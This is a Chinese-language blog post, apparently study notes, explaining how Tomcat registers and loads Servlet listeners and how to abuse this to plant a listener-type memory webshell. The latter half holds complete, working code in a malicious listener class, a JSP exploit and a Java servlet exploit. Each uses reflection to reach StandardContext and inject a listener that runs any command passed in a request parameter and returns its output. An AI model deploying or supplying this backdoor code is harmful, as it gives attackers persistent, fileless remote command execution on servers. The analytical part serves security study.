前言
新年快乐捏,也是想起来继续学习了。今天来聊聊listener型的内存马。
先回忆一下listener都会干些什么?
Listener(观察者)
Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
这里介绍七个个listener,
- ServletContextListener:用于监听 ServletContext 对象的创建和销毁事件,可以在 ServletContext 对象初始化时执行一些初始化代码,也可以在 ServletContext 对象销毁时执行一些清理代码。
- ServletContextAttributeListener:用于监听 ServletContext 对象中属性的添加、删除和替换事件,可以在属性添加时执行一些逻辑处理,比如更新配置信息等;在属性删除时执行一些清理操作,比如释放资源等。
- HttpSessionListener:用于监听 HttpSession 对象的创建和销毁事件,可以在 HttpSession 对象初始化时执行一些初始化代码,也可以在 HttpSession 对象销毁时执行一些清理代码。
- HttpSessionAttributeListener:用于监听 HttpSession 对象中属性的添加、删除和替换事件,可以在属性添加时执行一些逻辑处理,比如更新用户信息等,在属性删除时执行一些清理操作,比如清空数据等。
- HttpSessionActivationListener:用于监听 HttpSession 对象的钝化和活化事件,可以在 HttpSession 对象钝化时执行一些清理操作,比如将 Session 中的数据写入硬盘等,在 HttpSession 对象活化时执行一些初始化代码,比如重新读取数据等。
- ServletRequestListener:用于监听 HttpServletRequest 对象的创建和销毁事件,可以在 HttpServletRequest 对象初始化时执行一些初始化代码,也可以在 HttpServletRequest 对象销毁时执行一些清理代码。
- ServletRequestAttributeListener:用于监听 HttpServletRequest 对象中属性的添加、删除和替换事件,可以在属性添加时执行一些逻辑处理,比如更新请求参数等,在属性删除时执行一些清理操作,比如释放资源等。
主要作用就是监听
listener的实现
在看完listener的作用之后,最适合作为内存马的接口其实就是ServletRequestListener这个接口,因为它是用于监听 HttpServletRequest 对象的创建和销毁事件,这个特性导致当用户进行资源访问时,肯定会和服务端进行交互,这样就会触发ServletRequestListener#requestInitialized()方法,我们来写个小demo实现一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; @WebListener("/weblistener") public class Listener implements ServletRequestListener { public Listener(){} @Override public void requestDestroyed(ServletRequestEvent arg0) {} @Override public void requestInitialized(ServletRequestEvent arg0) { System.out.println("requestInitialized go"); } }
|
web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app> <display-name>Archetype Created Web Application</display-name> <listener> <listener-class>Listener</listener-class> </listener></web-app>
|
当我们访问路径时会执行sout,

listener执行的分析
listener的获取和加载过程
获取
这个时候,进行调试分析的话,我们一般打断点,就是打在requestInitialized这个方法下,但是从这个方法中,我们看不到listener的获取过程,只能看到如何调用到requestInitialized方法的

在看到Drunkbaby师傅的博客之后,发现listener的注册是从ContextConfig类开始的,这个类会对配置文件进行读取,所以我们可以从这个类开始分析一下,从web.xml中读取到listener。

我们可以看到这里的configureContext方法接受的是webxml,所以我们从这里开始分析。

我们打断点调试,中间的过一下,是对servlet和filter组件的读取,然后,会发现这里获取到了listener,然后走到了addApplicationListener方法。这里大概就是添加一下listener到context里,方便接下来加载取出使用。
加载
然后就是启动应用时对listener的加载,加载的话是从listenerstart这个方法开始的(这里,我找了一会,有点复杂,没看懂整个调用到listenerStart的流程,就不看了,直接断点了。)

这里直接是在standardContext的listenerStart方法里调用了findApplicationListeners()方法,这个方法返回的就是我们add的listener。类似于filtermap和filterconfig的获取。在把这个listener给到listeners数组,继续进行接下来的逻辑(加载)。
requestInitialized调用过程

我们从fireRequestInitEvent()方法开始分析

getApplicationEventListeners(),看名字也知道这是获取listener。我们可以跟进去看一下。


这里很明显是调用了addApplicationEventListener方法将listen添加进去然后赋值给instances数组。

最后调用到requestInitialized方法。
总结
先是启动之前会对web.xml里的配置进行读取,读取listener,然后对listener进行加载。加载之后使用,在从数组中获取每个listener,调用requestInitialized方法,进行攻击。
listener内存马exp的编写
内存马怎么写呢?通过上述分析,我们知道了恶意代码执行的位置是调用requestInitialized方法,而且添加Listener也很简单,调用addApplicationEventListener()方法就可以了。
所以整个一顺序就是:
- 先获取到StandardContext类
- 写好恶意Listener
- 通过调用StandardContext的addApplicationEventListener()方法来添加我们的恶意Listener
我们先来写一个恶意的Listener的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; @WebListener("/*") public class Listener implements ServletRequestListener { public Listener() { } @Override public void requestDestroyed(ServletRequestEvent arg0) { } @Override public void requestInitialized(ServletRequestEvent arg0) { System.out.println("requestInitialized go"); try{ ServletRequest servletRequest = arg0.getServletRequest(); RequestFacade servletRequest1 = (RequestFacade) servletRequest; Class<?> aClass = Class.forName("org.apache.catalina.connector.RequestFacade"); Field declaredField = aClass.getDeclaredField("request"); declaredField.setAccessible(true); Request o = (Request)declaredField.get(servletRequest1); Response response = o.getResponse(); if(o.getParameter("cmd")!=null){ InputStream cmd = Runtime.getRuntime().exec(o.getParameter("cmd")).getInputStream(); int len; byte[] buffer = new byte[1024]; while ((len = cmd.read(buffer)) != -1) { response.getOutputStream().write(buffer, 0, len); } } } catch(Exception e){ e.printStackTrace();} } }
|
servlet还是用的之前的

Exp
这是jsp的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <%@ page import="java.util.logging.Filter" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.RequestFacade" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.InputStream" %><%-- Created by IntelliJ IDEA. User: LXu2n Date: 2026/2/19 Time: 22:11 To change this template use File | Settings | File Templates.--%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% ServletContext servletContext = request.getServletContext(); Class<? extends ServletContext> aClass = servletContext.getClass(); Field declaredField = aClass.getDeclaredField("context"); declaredField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext); Class<? extends ApplicationContext> aClass1 = applicationContext.getClass(); Field declaredField1 = aClass1.getDeclaredField("context"); declaredField1.setAccessible(true); StandardContext standardContext = (StandardContext) declaredField1.get(applicationContext); ServletRequestListener servletRequestListener = new ServletRequestListener(){ public void requestDestroyed(ServletRequestEvent sre) {} public void requestInitialized(ServletRequestEvent sre) { try{ ServletRequest servletRequest = sre.getServletRequest(); RequestFacade servletRequest1 = (RequestFacade) servletRequest; Class<? extends RequestFacade> aClass2 = servletRequest1.getClass(); Field declaredField2 = aClass2.getDeclaredField("request"); declaredField2.setAccessible(true); Request request1 = (Request) declaredField2.get(servletRequest1); Response response1 = request1.getResponse(); if(request1.getParameter("hhh")!=null){ InputStream cmd = Runtime.getRuntime().exec(request1.getParameter("hhh")).getInputStream(); int len; byte[] buffer = new byte[1024]; while((len=cmd.read(buffer))!=-1){ response1.getOutputStream().write(buffer, 0, len); } } } catch (Exception e) { e.printStackTrace(); } } }; standardContext.addApplicationEventListener(servletRequestListener); %> <html> <head> <title>Title</title> </head> <body> </body> </html>
|

这是java的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; @WebServlet(urlPatterns = "/listenerexp") public class ServletListenerexp extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("Servletdemo3 GET"); try{ ServletContext servletContext = req.getServletContext(); Class<? extends ServletContext> aClass = servletContext.getClass(); Field declaredField = aClass.getDeclaredField("context"); declaredField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext); Class<? extends ApplicationContext> aClass1 = applicationContext.getClass(); Field declaredField1 = aClass1.getDeclaredField("context"); declaredField1.setAccessible(true); StandardContext standardContext = (StandardContext) declaredField1.get(applicationContext); ServletRequestListener servletRequestListener = new ServletRequestListener() { public void requestDestroyed(ServletRequestEvent sre) {} public void requestInitialized(ServletRequestEvent sre) { try{ ServletRequest servletRequest = sre.getServletRequest(); RequestFacade servletRequest1 = (RequestFacade) servletRequest; Class<? extends RequestFacade> aClass2 = servletRequest1.getClass(); Field declaredField2 = aClass2.getDeclaredField("request"); declaredField2.setAccessible(true); Request request = (Request) declaredField2.get(servletRequest1); Response response = request.getResponse(); if(request.getParameter("hshybb1")!=null){ InputStream hshybb1 = Runtime.getRuntime().exec(request.getParameter("hshybb1")).getInputStream(); int len; byte[] buffer = new byte[1024]; while ((len=hshybb1.read(buffer))!=-1){ response.getOutputStream().write(buffer, 0, len); } } }catch (Exception e){ e.printStackTrace(); } } }; standardContext.addApplicationEventListener(servletRequestListener); }catch (Exception e){ e.printStackTrace(); } } protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{ System.out.println("Servletdemo3 POST"); } }
|

参考
Java内存马系列-04-Tomcat 之 Listener 型内存马 | Drunkbaby’s Blog